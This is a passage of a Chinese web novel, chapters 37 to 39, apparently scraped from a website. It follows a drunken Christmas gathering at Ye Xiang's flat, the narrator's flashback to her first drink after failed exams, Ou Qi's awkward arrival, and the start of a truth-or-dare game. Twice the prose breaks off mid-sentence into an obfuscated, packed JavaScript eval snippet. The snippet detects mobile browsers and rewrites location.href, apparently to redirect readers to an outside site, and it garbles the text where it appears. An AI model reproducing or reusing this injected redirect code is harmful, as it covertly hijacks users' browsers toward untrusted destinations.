更悲哀的事情是:跟我一样的只有刘小叶。其余人都给甜品预留了足够的胃部空间,他们不急不缓地小口咬着苹果派,空气里漂浮着香甜的味道。 她们以满足的姿态迎接终局,谁能想到,苹果派居然还不是这顿饭的终点?! 37. 第 37 章 当柠檬蛋糕作为餐后甜点出现在桌子上时,刘小叶还没嚷嚷,许苑薇已经出离愤怒了。她的眼神游离,撑着桌子站起来,问叶翔:“你是打算把我们都当猪喂吗?出了一个欧祈还不够,你是准备加入他的喂猪者联盟吗?” 也难怪许苑薇生气,跟苹果派比起来,柠檬蛋糕清爽的口感,更适合用来解腻。眼下,她大概跟我一样,连一颗葡萄都塞不进嘴了。 提到欧祈,刘小叶正准备伸向柠檬蛋糕的手顿住了。此刻,她想起来,她跟欧祈承诺过要减肥。 但请不要低估一个吃货的自我修养。她站起来颠着小碎步绕过叶翔和凌静宜,从左侧抱住许苑薇一顿猛晃,“许许,好许许,别扫兴……我们明天再开始减肥!” 我不由担心,她这么晃法,万一把许苑薇晃吐了可怎么办?!她刚刚可是吃下了一大块苹果派! “所以刚刚的苹果派算什么?”凌静宜一脸疑惑,望向叶翔。 叶翔的表情一言难尽,看上去五味杂陈,他把这个问题抛给了大厨。 大厨倒是非常淡定,“很显然,那是主食,柠檬蛋糕才是货真价实的甜品。” 凌静宜震惊地瞪大了双眼。 大厨高傲地点头示意后快速地撤了出去,凌静宜还没从震惊中缓过神,否则她一定会将他谴责得体无完肤。 陈梦晓站了起来,问:“洗手间在哪儿?” 她看上去十分清醒,可她沿着叶翔指的卫生间方向走着曲线去了厨房。两分钟后,她又曲线走回来,趴在凌静宜耳旁说:“告诉你个秘密,叶翔家厕所里还放冰箱。” 她觉得自己在说悄悄话,事实上,她的声音大到厨房角落里的虫子都能听见。凌静宜嫌弃地把她往刘小叶身边一推,“你不会在水池里上的厕所吧?” “怎么可能?!对着冰箱,我没法上厕所!”陈梦晓高声反驳。 “你们别晃了,我有点头晕。”我觉得额头发烫,盘算着自己到底喝了几杯下去。 李离举着杯子,对着空气喊了一句“CHEERS!”,彻底把“全员醉酒”的气氛烘托到了最高潮。目前,现场只有屈指可数的两个人没醉。 叶翔瞠目结舌地看着这一群酒量浅得惊人的座上宾,深刻怀疑自己是不是拿错了酒。他悄悄瞄了一眼自己拿出来的酒,没错,上面明明白白标着“酒精含量12%”。 他赶紧让人泡了壶茶,大概是想给我们醒醒酒。可问题是,我们现在不闹着要酒喝就不错了,没一个人想喝茶。 事实证明,当酒精开始发生作用的时候,控制自己的思想大概是最困难的事情。 我靠在椅背上,脑子里天马行空地胡思乱想:新的小说才连载了两期,但我已经是江郎才尽的状态,角色们一动不动地等着我给他们设计长相、个性、过往经历和未来事件,而我灵感全无,感觉厌倦。等等!等等!胡思乱想里出现简瑞洺了!我一直克制自己努力不去想他,自从运动会后,只要想到他,我的心脏总会猛烈地跳动。现在又来了!我清楚地感受到自己的心脏强烈地跳了一下,然后又一下,紧接着,它就像脱缰的野马,高高跃起,跳过一道又一道栏杆。不知道是不是酒精作祟,心脏疯狂地跳动,我害怕自己支撑不住昏厥过去。 不要想他!不要想他!不要想他!你到底是谁的脑子?! 不要再跳了!不要再跳了!不要再跳了!你到底是谁的心脏?! 我在兵荒马乱地压制自己的脑子和心脏,作为唯二的清醒人士,叶翔和凌静宜在规划饭后活动。 “你们想看电影吗?G楼有家庭影院。”叶翔没说他有个游戏房,直觉告诉他凌静宜不喜欢打游戏,所以他压根不提。 凌静宜挑了挑眉,没想到,叶翔居然有资深宅属性。 “别折腾了,坐着聊聊天吧。就那群小醉猫,还能有什么活动?” 至于坐哪儿是个新的问题。沙发上已经堆满了衣服,叶翔家的餐桌是长条桌,吃法没问题,但不是一个舒适的聊天场所(我们的日常都是沙发上挤三个,沙发前面的地毯上窝三两个,一包零食从上往下递,循环一圈。有几样零食是不被允许的,比如瓜子,饼干,薯片,只有那些不带碎屑的零食才能通过洁癖的凌大女王的审查批准),至于吧台,大概能坐下三四个人,我们一堆人往那一挤,再人手一个号码牌,就像在网红酒吧外面排队等进场了。作为洁癖二号的叶翔,应该也不能容忍我们在他的水晶小茶几旁嗑着瓜子聊天吧? 凌静宜的目光从沙发扫到吧台,再回到餐桌,“就坐这儿吧。” “我家太小了。”叶翔一脸认真地说。 要不是在这个场合,加上他不作伪的神情,妥妥是反向炫富了,他会被人揍吧?! “大哥,你也太凡尔赛了。”刘小叶摇摇晃晃地站起来,绕着桌子走了一圈,张开手丈量空间,“你的餐厅比我家都大!” 叶翔没觉得自己凡尔赛,他知道自己家不算小,但买这个房子的时候,他考虑的只是自己一个人。而现在,他考虑的是:这个房子不能辟出一个可以摆上一圈软沙发和靠垫,至少容纳十个人在一起喝咖啡聊天的空间,不够用等于不够大。其实,今天之前,他没想过有一天会邀请这么多人同时到他家来。对他来说,家不是聚会的场所,而是私密休息的地方,最多也就招待两三个好友。 刘小叶一步一晃走到了大门口。 “你要去哪儿?”凌静宜生怕她一开门就出去了。 刘小叶拿起手指放在嘴上,“嘘……我在找地方……” 她蹲下来,歪着头看着那块洁白的地毯,拿手抠了两下,不知道在想什么。过了一会儿,她站起来,单手拽着那块地毯往客厅中间拖。 “你要干什么?” “要不要帮忙?” 凌静宜和陈梦晓同时问。 刘小叶没有回答,只是使劲拖着毛毯往客厅方向移动,时不时回头望一望位置。拖到满意的位置后,她意兴盎然地跟我们挥手say hi,下一刻整个人趴进了地毯,一只手扯着地毯的长绒,另一只手保持着打招呼的姿势。 凌静宜撑着自己的脑袋,恨不得把脸埋进面前的盘子里——她到底有多想不开才会提议集体聚会,她就应该二话不说拒绝叶翔一起过圣诞的请求。 叶翔眼睛一亮,饶有兴致地对凌静宜说:“坐地板上倒是个好主意。” 他转身进了房间。 刘小叶在地毯上滚来滚去,十分陶醉,“我觉得自己像玛丽莲·梦露。” 凌静宜像蹬了风火轮一样疾步走到刘小叶身边,拽住她高高扬起的左手,想把她拖起来。但刘小叶一动不动。 她压低了声音,“小西,快过来帮忙。” 这个氛围怪异得彷佛我们在杀人埋尸。 “你们拽她的胳膊,我在后面托一把。”陈梦晓长胳膊长腿,在我走到凌静宜身边之前就走到了刘小叶头顶的位置了。 我摇摇晃晃地向她们靠拢,李离和许苑薇也起身过来帮忙。只是李离比我晃得还厉害,许苑薇在她身后扶了她一把,完全没有考虑到自己也需要人扶。 李离晃悠悠地凑到我身边,大半个身子倚靠着我,疑惑地问:“你们怎么不揍她?” “谁?” 她朝刘小叶努努嘴,“当然是她。要是我,早就一巴掌上去了。” 叶翔抱着另外一块长绒白地毯走出来时,看见的就是这么一副景象:我和凌静宜夹着刘小叶坐在地毯上,陈梦晓站在我们背后像一块被风吹着晃来晃去的人形背景板,李离挨着我坐,脑袋搭在我胳膊上;许苑薇则凑在凌静宜旁边蹲着。 他把毛毯铺在前一条毛毯的边缘处,看了我们几眼,诧异地问:“你们挤在一块儿干什么?” 陈梦晓大大咧咧地晃了过去,坐在了我的正对面。她两腿一伸就碰到了我的腿,只能把腿盘起来。凌静宜纹丝不动,生怕动一下刘小叶又重新倒下去。我当然也不敢动,毕竟我是三明治的另一片面包。 “你们那边太挤了吧?”陈梦晓向许苑薇招招手,招呼她坐她旁边。 从许苑薇选择的路径来看——她依次绕过凌静宜、刘小叶、我和李离,走着S形好不容易到了小陈哥的左边——她一屁股瘫坐下来,看来也醉得不轻。 李离往许苑薇那边挪了挪,我终于感觉自己可以呼吸了。 叶翔问我们要不要喝点什么,“coffee or tea”还在唇齿间徘徊,刘小叶突然举手喊了一句,“酒,wine。” 凌静宜没来得及阻止,刘小叶把头歪在我的肩膀上,趴在我的耳边大声说:“小西西,你如果不让我喝酒的话,我就要继续滚来滚去了哦!” “让她滚。”凌静宜没好气地推搡了刘小叶一把。 “气泡酒。”我对叶翔挤出个笑脸,瞥到对面陈梦晓吃惊的表情,马上更正,“我是说香槟。” 陈梦晓惬意地把她的胳膊撑在膝盖上,再用胳膊托着她的脸。 “家里可能没有香槟了。”叶翔皱了皱眉。 “红酒也行。”我很好说话。 叶翔去取酒了。凌静宜的胳膊揽住刘小叶的脖子,对我吹胡子(前提是她有的话)瞪眼:“周小西,你还能喝?!看看你的脸,都红得跟大龙虾一样了!” 我万分尴尬,讪笑着举起手指,“我发誓,只喝一点点。” 不能让她知道,我脸红不是因为喝了酒,而是因为想到了某个不该想的人。糟糕!只是这么捎带着想到了他,好不容易平复的心脏又开始不争气地猛烈跳动。我甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997373|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怀疑,简瑞洺是不是隔空给我下了毒,不然怎么能解释我的异常?! 刘小叶露出狡黠的微笑,一副成竹在胸的表情对着凌静宜嚷:“那个酒甜甜的,真好喝。我没喝醉,只是这地毯太舒服了,比我们宿舍的那块舒服多了。你要不要躺下来试试?” 叶翔拿了一瓶Guy Charlemagne和一瓶Perrier Jouet,他特意挑了Blason Rose,明亮的桃红色和馥郁芬芳的果香,很适合姑娘们喝。可惜他的酒架上只剩下一瓶了,对于香槟和葡萄酒,他不怎么挑牌子,但注重口感层次丰富。 除了这两支贵价香槟,他的酒架上还有一瓶Moet & Chandon,一瓶法尔凯特小鹰,一瓶Palco Saracco Moscato d''asti,一瓶乔治卡迪亚桃红香槟,一瓶Blanquette de Limoux,两瓶干型Lambrusco。除了Perrier Jouet,他最喜欢的是Palco Saracco,它和小鹰都是产自于意大利皮埃蒙特——意大利在他喜欢的国家里能排进前五。 至于为什么选这两支酒,除了贵和口感顺滑之外,刚刚吃饭时,佐菜的粉红葡萄酒带有轻微的苹果香气,凌静宜喝完第一杯还倒了小半杯,他觉得她喜欢Blanquette de Limoux, 自然也会喜欢这两支的风味。 除了酒之外,他还拿了别的东西。一群人单喝酒,总觉得缺了点什么。他举着一个银制托盘,上面放了冰激凌,草莓和车厘子。Blason Rose和草莓非常搭,有一种神奇而微妙的氛围感。恍若一个没有云的夏日下午,静谧的小花园里正在举行的小派对:远处飘着五颜六色的气球,拉近一点映入粉色背景板,近景是纯白色的长条桌,上面摆放着香槟色的气泡酒和莫兰迪色的马卡龙。 他把托盘放在两块地毯中间的地板上,顺手拿了一个冰激凌递给凌静宜。我瞄了一眼,折合人民币六百块的松露冰激凌,叶翔真舍得下血本。 “我们以后每年都一起过圣诞节,好不好?”刘小叶举着杯子,甜美的果香味让她止不住一口又一口地往嘴巴里倒。 “一年都够我受的了。”凌静宜垂下眼睛,低声嘟囔。 眼看刘小叶第一杯酒马上要见底了,凌静宜赶紧把两瓶酒抢过来放到了自己身边。她看向酒瓶,眉毛往上挑了两下,那表示她不仅惊诧,而且惊喜——叶翔押对了宝。 她按住刘小叶手里的杯子,问:“欧祈怎么还没来?” “我给他发过地址了。”她不耐烦地想从凌静宜手里挣脱。 陈梦晓调侃欧祈在刘小叶心目中的分量还不值两杯香槟。 许苑薇的脸喝得红朴朴的,她大概是眼下全场唯一一个在认认真真喝酒的人。抿了一小口酒,没有吞下去,让香槟在整个口腔里滞留一小会儿,她陶醉地闭上眼睛,感觉芬芳在她的舌尖和味蕾上跳舞。她喝得极慢,彷佛是她人生当中的第一次,又似乎是人生当中的最后一次。她不知道这瓶酒的价格,但顺滑的口感,唇齿留香的味道,都让她忍不住一口接一口品尝——她甚至可以分辨出这些酒是用几月的水果酿造的。 我光顾着防止刘小叶闯祸,完全忽略了李离——她虽然不是一杯倒,可酒量也着实算不上好。幸好她的酒品比刘小叶好了不止一星半点:喝多了,她顶多就是跟空气祝个酒,然后趴下睡觉。我并不担心她。可我没想到,凡事都有例外。大概今晚这么多人一起喝酒气氛到位,李离兴致高昂,没有丝毫喝醉想睡觉的倾向。 “我们当中有谁是第一次喝酒?”李离左手撑在地板上,右手举着酒杯高声问。 “Rio算不算?”许苑薇把含着的那一小口酒咽了下去,怯生生地问。 “那跟糖水差不多吧。”李离不屑地说:“当然不算。” 许苑薇举起了手,接着刘小叶和陈梦晓也举了手。 “那就很有必要为了人生中的第一次好好喝一杯了。” 没等我反应过来,许苑薇已经举起杯子大喊“Cheers”了。 她们仨碰杯喝酒,叶翔和凌静宜互相对视了一眼,初生牛犊不怕虎,初次喝酒喝到吐。 我眼前朦胧,脑子却清醒:算起来,我、李离、凌静宜和叶翔都不算新手,另外几个人算不算被我们带坏了? 这是陈梦晓第一次喝酒,凌静宜倒是挺诧异的。体育生比我们更会玩才对。在高强度运动刺激下,他们的激素水平更高,更容易放纵自己。人类真是奇怪的动物,压抑天性的极度自律通常伴随着更彻底的释放。两者冲突碰撞,互相博弈,没人知道何者能一直占据上风。 她们三人把酒言欢,凌静宜举起酒杯,“我们为曾经的第一次喝一杯。” 38. 第 38 章 说起人生第一次喝酒,我是始作俑者,李离顶多算个……从犯。 喝酒这件事,大多数发生在两种场合,一种是极度高兴,另一种是极度不开心;前者是人生得意须尽欢,后者是不若人生一场梦。 在人生最重要的一场考试里,我和李离双双败北。我早已习惯逢大考必失常,而李离不一样,她以全市第一的成绩考进M中,对未来踌躇满志。有些人天生适合考试,比如李离,相较于我的大考必失利,李离大考总超常发挥。考试之前的一个月,我们曾聊过自己的梦想学府,她的第一志愿是东大法律系。我问她,如果没能去梦想学府怎么办,她笑着回答怎么可能。 我追着问答案,她陷入了沉默,大概十分钟没说话。其实与其说我在追问她,不如说我在追问自己,在她沉默的十分钟里,我的脑子里不间断盘旋着的问题甚至都不是“如果考不上理想大学怎么办”,而是“如果考不上大学怎么办”。 如果别人知道我的想法,一定会认为我矫情:如果周小西都要担心自己考不上大学,那别人该怎么办?我的退路看上去比其他人多得多。只有我自己知道迷茫的滋味:如果考不上大学,我要做什么? 读艺术也许是个选择,可我除了基本的审美之外,没有别的技能——服装设计要做衣服,穿衣服我还算在行,但对用什么面料制作,平裁还是立体剪裁,我一无所知也不想知道,对研究人体结构也没有兴趣;更别提建筑设计这种要对人命负责的行业;美术音乐之类的真的是老天赏饭吃,光用功没用,还得看天赋;我很明确自己没有艺术细胞,丝毫没有遗传到我妈的天分。国外的好学校也不是想进就能进,必须提交完整的作品和创作理念——想要通过作品表达什么;这比考试还要糟糕,我那个时候脑袋空空……看,艺术行业的门槛没有想象的低。 所以我是真的不知道自己如果考不上大学能怎么办。每次触碰到这个问题时,我总是习惯性逃避。但在这个时间点,我已经没有退缩的余地了。这个问题就像捣杵一样在我脑子里来回舂捣碾压,直至成为一片浆糊。不复读并不是问题的终极答案。 “反正我不复读。如果考不上东大,调剂到哪儿就去哪儿。”李离下定了决心,狠狠咬着牙说。 我们不谋而同做出了同样的选择,因为我们都清楚地知道,复读属于那些有着强大心理和不怕挫折的人,而我们显然不是那一类。 “应该不至于那么倒霉。”我的安慰软弱无力。 考试那两天热得出奇,从考场出来的那一刻,我就知道自己完蛋了。我考砸了不是什么新鲜事,李离发挥得不好出乎意料。考前的恐惧一语成谶。我们猜想要跟自己的梦想学府说再见了,基于不复读的原则,这个再见是再也不见。 对完答案,估完分数,查了查往年东大的录取分数,李离的情绪异常低落。 第二天我约她去爬瞻远山——M市三面环山:瞻远山,明志山,泊云山,我最喜欢的是瞻远山。它正对我房间的阳台,山不高,从窗户望出去看到郁郁葱葱的一片;太阳接近落山时,一整片晚霞像是薄纱一样披在山头,随着太阳缓缓落下,山脉隐入夜色中,只现出黝黑的轮廓。有段时间我痴迷于魔法世界,总幻想那是一片魔法森林。夏季总有人在太阳落山后爬山,我想大概山顶璀璨的星空让人心情宁静,再大的事儿往山顶一躺数数星星就过去了,没什么大不了的。 傍晚时分,天还未暗,我带着从家里偷拿的一瓶酒去了瞻远山,在山脚下跟李离汇合。我们一路上什么话都没说,通常是我比较沉默,这一次李离一句话都没说。 那是我第一次爬瞻远山,在此之前,我只是远远观赏。我从来不觉得自己热爱自然,也不觉得花草树木有什么好看的,但那次我发现自己错了,自然原来如此可亲。原本以为那些树木会遮挡住视线,可越往上走树木越少,山顶上覆盖着一层浅浅的绿色植被,点缀着一簇簇白色小花儿——处处是初夏的模样。我的脑子里不知道为什么蹦出来《春江花月夜》的旋律。 我们走走歇歇,爬到山顶时太阳已经下山了。山上并不像我想象的那样一片漆黑,远处的灯光和头顶的星空互相辉映,落在这一片野地。小虫子在寂静中鸣叫。李离坐下来,望着星空开始发呆。 从包里把酒拎出来,我发现没带杯子,幸好带了开瓶器。我们俩就着瓶子一人一口。才喝了两口,李离对着空气和远方喃喃自语:“小西,你说要是喝完酒,就能回到考试前多好。” 我不知道该怎么安慰她,只能默默把瓶子递给她,“多喝两口,据说喝酒能忘记烦恼。” 李离拿着酒瓶一口接一口,她吐槽:“真不如果汁好喝。” 那瓶酒是我从我爸书房的酒柜里拿的,放在最角落的位置,我猜大概不是好酒,难喝也正常。 我俩把那瓶酒喝得一滴不剩,李离对着空气抨击考试制度,我感觉脑袋发晕。再后来我什么都不记得了,只记得李离有好几个头在我面前晃来晃去。 第二天醒来,我躺在自己的床上。李离睡在我旁边,脸颊上还有泪痕。 生平第一次喝酒以挨了我爸一顿揍告终。 我原本以为是因为那瓶酒:那是爸爸托人从欧洲拍回来的,是某个知名酒庄特别出名年份的红酒,价格不菲,他自己舍不得喝,藏在酒柜的角落里,准备在我的成人礼上开。后来我才知道,我爸以为我被绑架了,动用了很多关系找我。凌晨三点钟多他在山顶上找到我时,我和李离浑身酒气,睡得不省人事,当时他既生气又好笑。 我和李离果然都没考上自己的第一志愿。对我来说,能吊车尾考上大学就已经是意外之喜了;可对李离来说,她要努力接受落差,很不好受——虽然清大是重点大学,结果不能算太坏,可跟东大那样的名校相比,差得不是一星半点。 不过李离不知道我逢大考必挂的历史,所以我这个总拿第一的人考的大学还没她那个万年老二好,或多或少对她是个安慰。唯一心态不平衡的反而是班主任,他屡次劝说我复读,对我爸妈的决定十分不认同,总在我爸开会的时候给他打电话,“你们不能这么惯着孩子,这是影响她前途的大事,以后再后悔就来不及了……” 我爸在老师面前表现得非常配合。他征求过我的意见,没打算让我复读,可他跟班主任的想法算是殊途同归——铭盛在他们看来,都不是一个好选择。我妈则不一样,她一早认清了现实:我是一个看起来听话的孩子,实际上却很倔强。况且,再考一次,搞不好连车尾都吊不上了。 最后,我和李离如愿没有复读,放弃了自己的梦中学府。在班主任的一声叹息中,我们准备开启新的旅程。 解决了选择学校这个最关键的问题之后,我爸把关注的重点放在了谢师宴上,准备大办特办一下。虽然我考得学校不怎么样,可也是正经考上的,不像他的一些合作伙伴,子女在国内升学无望,早早送去国外读书。于是,我爸很乐意办个聚会显摆显摆,我妈说他虚荣心作祟。最后没办成的原因是班主任不肯来,他觉得我复读一年才是最好的选择。班主任是学校里第二个只关心“我是周小西”的人——他关心的是他的学生周小西,而不是周利伟的女儿周小西。 我爸还是搞了个小聚会,邀请了他的几个至交好友和合作伙伴。香槟太好喝了,我不出意外又喝醉了。由此可见,我的酒量真是一言难尽:一杯有点迷糊,两杯就能在白天看星星。 所幸,爸爸说喝酒的要义在于品,灌酒的场合我大概也碰不上。自那以后,爸爸碰到年份好的酒,也会叫我品上两口。 他叮嘱我在外面不要跟别人乱喝。可他还是不放心,觉得酒量还是得练一练,这样就算碰上个别不长眼的场合,我至少能保持清醒别让人占了便宜。再想了想,他让我把李离也叫家里来一起练酒量,说一个是练,两个也是练。我妈戏谑我爸不知所谓,但也没反对。 暑假的第一个月,爸爸算下了血本,晚上的应酬一律推掉,回家吃饭必开一支红酒,吃饭时普及酒香口感和配餐礼仪,吃完饭后拎着我们去酒窖,对着他的珍藏从红酒历史讲到酒庄,再讲到年份珍藏……起初,李离对于来我家吃晚饭很雀跃,两天一过,她萌生了退意。 可惜,我爸的人生信条是:坚持,是通向成功的唯一捷径。 我和李离苦不堪言,好不容易高考结束了,我们辅修了一门红酒课。 幸好,渐渐滋生了乐趣。这份趣味主要源于我们喜欢上了喝酒:不止是红酒,还有白葡萄酒,香槟乃至气泡酒。借着练酒量的幌子,我和李离趁大人们白天不在家,偷摸去酒窖拿酒喝。起先我爸不以为意,直到发现我们喝掉了他珍藏的十几瓶酒,终于忍受不了,提早结束了这次练酒,还给酒窖上了密码锁。 其实,与其说是练酒量,我觉得这更像是一次培训。 经过一个多月的酒精洗礼,我的酒量只比刚开始喝酒时好了一点点,毕竟底子就那样,估计不可能成为千杯不醉的酒中豪杰了;唯一的收获是知道了自己酒量的深浅:三杯酒是极限。我爸捶胸顿足可惜他的珍藏。 更具成效的是那些理论知识:原先我对红酒一无所知,挑酒只看哪个酒瓶好看;现在,我时不时会翻看一些酒类杂志,关注不同年份红酒产区的情况;对于佐餐酒有自己的一些想法。目前最讨巧的是,我能准确挑出凌静宜那些红酒里最对自己胃口的,能在今天的场合里认出叶翔酒柜里最贵的酒和看上去算小众的牌子。 “为了成年,干杯!” 李离的一声高喊把我拉了回来。 叶翔举起了杯子,嘟囔了一句,“我早就成年了,下个月都二十了。” 凌静宜斜睨了他一眼,“老头子!” 所有人噗嗤一声笑了。 我们正喝得开心,门铃响了。 “肯定是欧祈!”刘小叶从地毯上爬起来,兴奋地跑去开门。 “说不定是只大狗熊,你看清楚了再扑上去抱。”陈梦晓在她身后喊。 刘小叶打开门,果然是欧祈,他双手交叉抱在胸前。 她嘴角上扬,但没伸展到该到的位置就僵住了,原本应该定格在脸上的笑容凝固成了要笑不笑的尴尬神色——欧祈原本低着头,听到开门的动静抬起了头:他的脸色很不好,门厅上的廊灯照在他俊朗的面庞上,总带着笑容如同朝阳一般灿烂的的脸上现在阴晴不定。 刘小叶问:“猪猪,怎么了?你不高兴啊?” 欧祈怔了片刻,低声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997374|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没事,最近赶论文太累了。进去吧。” 在来的路上,欧祈无数次想掉头回去。其实收到地址的时候,他就想找借口不来。他不喜欢这种富家子的聚会,况且他也还没理好自己的情绪。以前见到刘小叶,他打心底里感到愉悦;现在,他有点害怕面对她。还有对另一个人说不明道不清的隐秘期待。这些天他很煎熬,仿佛割裂成了两个自己。 “真的没事吗?”刘小叶有些愧疚,她是不是太任性了,“猪猪,你是不是最近都没睡好?你有没有好好吃饭?” 刘小叶担心他,忍不住絮絮叨叨;欧祈敷衍含混地应了两句,内心升起一股很陌生的感觉:三分烦躁,三分不耐烦,两三分兴奋,一两分雀跃,混杂着些许羞耻感。他用力甩甩头,似乎这样就能把所有的想法从闹哄哄的脑子里甩出去。 “我们进去吧。”欧祈大跨步向前,好像有一团火从他的心脏烧到脑子,他不能再继续单独面对刘小叶。 刘小叶勾着欧祈的胳膊,踉踉跄跄被他拖进来,叶翔正端着杯子跟凌静宜说话。他犹豫是把杯子放地上还是端着站起来,凌静宜从他手里接过了杯子。叶翔微微愣了片刻,随即空手站起来以主人的身份对欧祈表示了欢迎。李离在我耳边说:“我们来的时候怎么没致辞呢?” 所有人都看向了欧祈和刘小叶,欧祈迅速且慌乱地扫视了一圈,垂下了眼眸。轻轻颤动的睫毛让他看上去脆弱且无辜,掩盖了他眼眸中一闪而过的惊诧——我们全体坐在地上,叶翔完全不尴尬地招呼他。他本来以为富贵人家的聚会都是正襟危坐,觥筹交错,就算不穿燕尾服那么夸张,至少也不会坐在地上。他脸上没有任何表情,内心却在啧啧称奇。 慌乱过后,他感觉不自在,勾在刘小叶手里的那截胳膊像是浸在满是辣子的热油里,尴尬难受,他动了动胳膊想要摆脱。刘小叶浑然不觉,甚至往前垮了一步,用整只胳膊牢牢勾住了他的臂弯。 “迟到的人要自罚三杯。”凌静宜单手撑着地站起来,把手里的杯子递到欧祈面前。 “小宜宜,你不要欺负我们家欧祈。”刘小叶护短模式开启。 欧祈的耳朵红了,从耳尖到脸颊都像贴着火炉一样火烧火燎。她的目光似乎盯着他,他从身体到灵魂都无处安放,只想赶紧逃开。 “别顾着罚酒,先坐先坐。”叶翔尽职尽责地招待客人。 欧祈一动不动地站着,既不接酒杯也不说话。 凌静宜才不管叶翔说了什么,她挑了挑眉毛,“喝完罚酒才能坐。” “小宜宜,你怎么能这样呀!”刘小叶直直地盯着叶翔,“那个谁,你不管管女主人的待客之道吗?” 叶翔先是一愣,随即嘴角上扬。可没等他开口,凌静宜冷冷地看了他一眼,他旋即噤了声。 刘小叶低声嘟囔:“一个妻管严,一个霸道鬼……只准州官放火,不许平民点灯!”她用挎着欧祈的那个胳膊肘抵了抵他,示意他趁乱溜去坐下。 凌静宜眼睛余光瞄到了她的小动作。 “这样就想躲过去?”凌静宜这一刻像是盯上了猎物的小猎豹,她傲然地对欧祈扬起下巴,“怎么,不敢吗?” “什么不敢……”没等欧祈说话,刘小叶又跳脚了,“小宜宜,你不讲理!” “你总帮他说话,他没长嘴吗?” “那叶翔不是在你面前也不敢说话。” “你……这个蠢……”凌静宜咬住自己的下唇,“别扯开话题,现在说的是罚酒的事儿。” “是你先扯长不长嘴的!” 她们两个人,你一言我一语地争辩着。 欧祈悄悄把臂肘从刘小叶小臂抽了出来,快步走到叶翔右边的空地坐下。 叶翔深深吸了一口气,伸手拉了拉凌静宜,“小静,先坐吧。” 他凑近压低声音,“等会儿多灌他几杯就是了。” 凌静宜有些懊悔,这一招算什么?暗度成仓,偷梁换柱,围魏救赵?反正不论是什么,刘小叶成功牵制住了她,让欧祈躲过惩罚。败笔!真是败笔! “你怎么坐那边去了?我跟你换位置吧。”我冲着欧祈招了招手。我当时没多想,只觉得欧祈得跟刘小叶坐一起。 欧祈没回答,脸却刷得一下红了,我脑子里好像有根弦咔嚓一声断了,生怕他想到什么不该想的。手不由自主去拉衣襟,才发现自己穿的是套头毛衣,脸上突然有点烫。 李离捣了我一下,用我们惯常咬耳朵的音量嘀咕:“要换位置也是叶翔和刘小叶换,你瞎凑什么热闹……” 大概是酒精上头了,我觉得脸上像火烧一样,懊恼后悔的情绪全涌了上来:爱坐哪儿就坐哪儿,我管什么闲事啊!!真想给自己两个大嘴巴!大脑仿佛装置过热已经宕机的处理器,不知道该做什么缓解尴尬的气氛。 一片沉默,凌静宜轻轻推了刘小叶一下。可她却失了刚刚争辩时的伶俐劲儿,愣愣的没有反应。 “不然我……”没等凌静宜说完,叶翔急忙搭了话,“现在这样也挺好,女生坐一边,男生坐……” 他突然意识到陈梦晓跟他们坐在同一边,场面好像更尴尬了。想给别人解围的人突然掉进了围栏中央,真是人生无常! 39. 第 39 章 进退维谷。 尴尬在空气中蔓延,陈梦晓突然问:“今天的节目是喝到天亮吗?也太无聊了吧?!不然你们先喝着,我先回去打游戏了。” “大家想玩什么?”叶翔赶紧转换了话题,“我家楼下有家庭影院,还有健身房。” “可以唱K吗?”刘小叶好像恢复了精神,她觉得自己心里堵得慌,需要一个出口宣泄。 叶翔摇了摇头。那么吵的玩意儿,他除非疯了才会在家里装。况且他经常一个人在家,唱什么?单身情歌吗?哀怨。 “那不然我们玩真心话和大冒险吧?”刘小叶突然回血,站起来又蹦又跳,她很满意自己想出的点子。 “难道不是为了满足你可耻的窥视欲?”凌静宜一阵见血地戳破刘小叶的小心思。 “别这么说嘛……”刘小叶缩到我旁边,冲着凌静宜一顿输出,“这是为了大家互相加深了解,尤其是你,成天把自己包得跟只刺猬似的,身边人迟早被扎死。” 刘小叶貌似无意地瞄了一眼欧祈,他低着头,不知道在想什么。 每一个人喝酒的方式不同,醉酒方式也不同,我在今天这场聚会中大开眼界。 刘小叶的醉酒方式很离谱,她真正的醉酒显得波澜不惊,一如现在。 后来,我们才知道,如果她兴高采烈要酒喝,说明她只是微醺略醉;如果她敢正面怼凌静宜,说明她已经离真正的醉酒一步之遥了;如果她吐得到处都是,然后一声不吭倒头就睡,说明醉了,可并没有完全醉:通常睡一两个小时后又可以开一轮新的灌酒;如果她看上去什么事儿都没有,眼睛亮得像启明星,可第二天早上起来一问三不知,那才是真的喝醉了。 当然这是后话。此时此刻,我们只是一群沉溺于欢乐当中,不知道今夕是何夕,明日复明日的享乐分子,没人管别人醉没醉,甚至都不管自己是不是醉了。 我其实也不知道自己是什么状态,说我醉了吧,可我非常清醒地意识到在发生的事情;说我没醉呢,我看凌静宜和刘小叶,她俩晃得都快叠在一起了。 为了方便转瓶子,叶翔又抱来了一块白地毯,三块地毯两两相接,中间留出半径五十公分的圆圈。 李离在我耳畔小声嘀咕:“他家是卖地毯的吧?!” 第一轮转到的是我和叶翔,他问我答,波澜不惊。 第二轮是许苑薇和李离,依然真心话,依然无风无浪。 第三轮转到李离和刘小叶,不痛不痒的问题,引不起任何兴趣的答案。 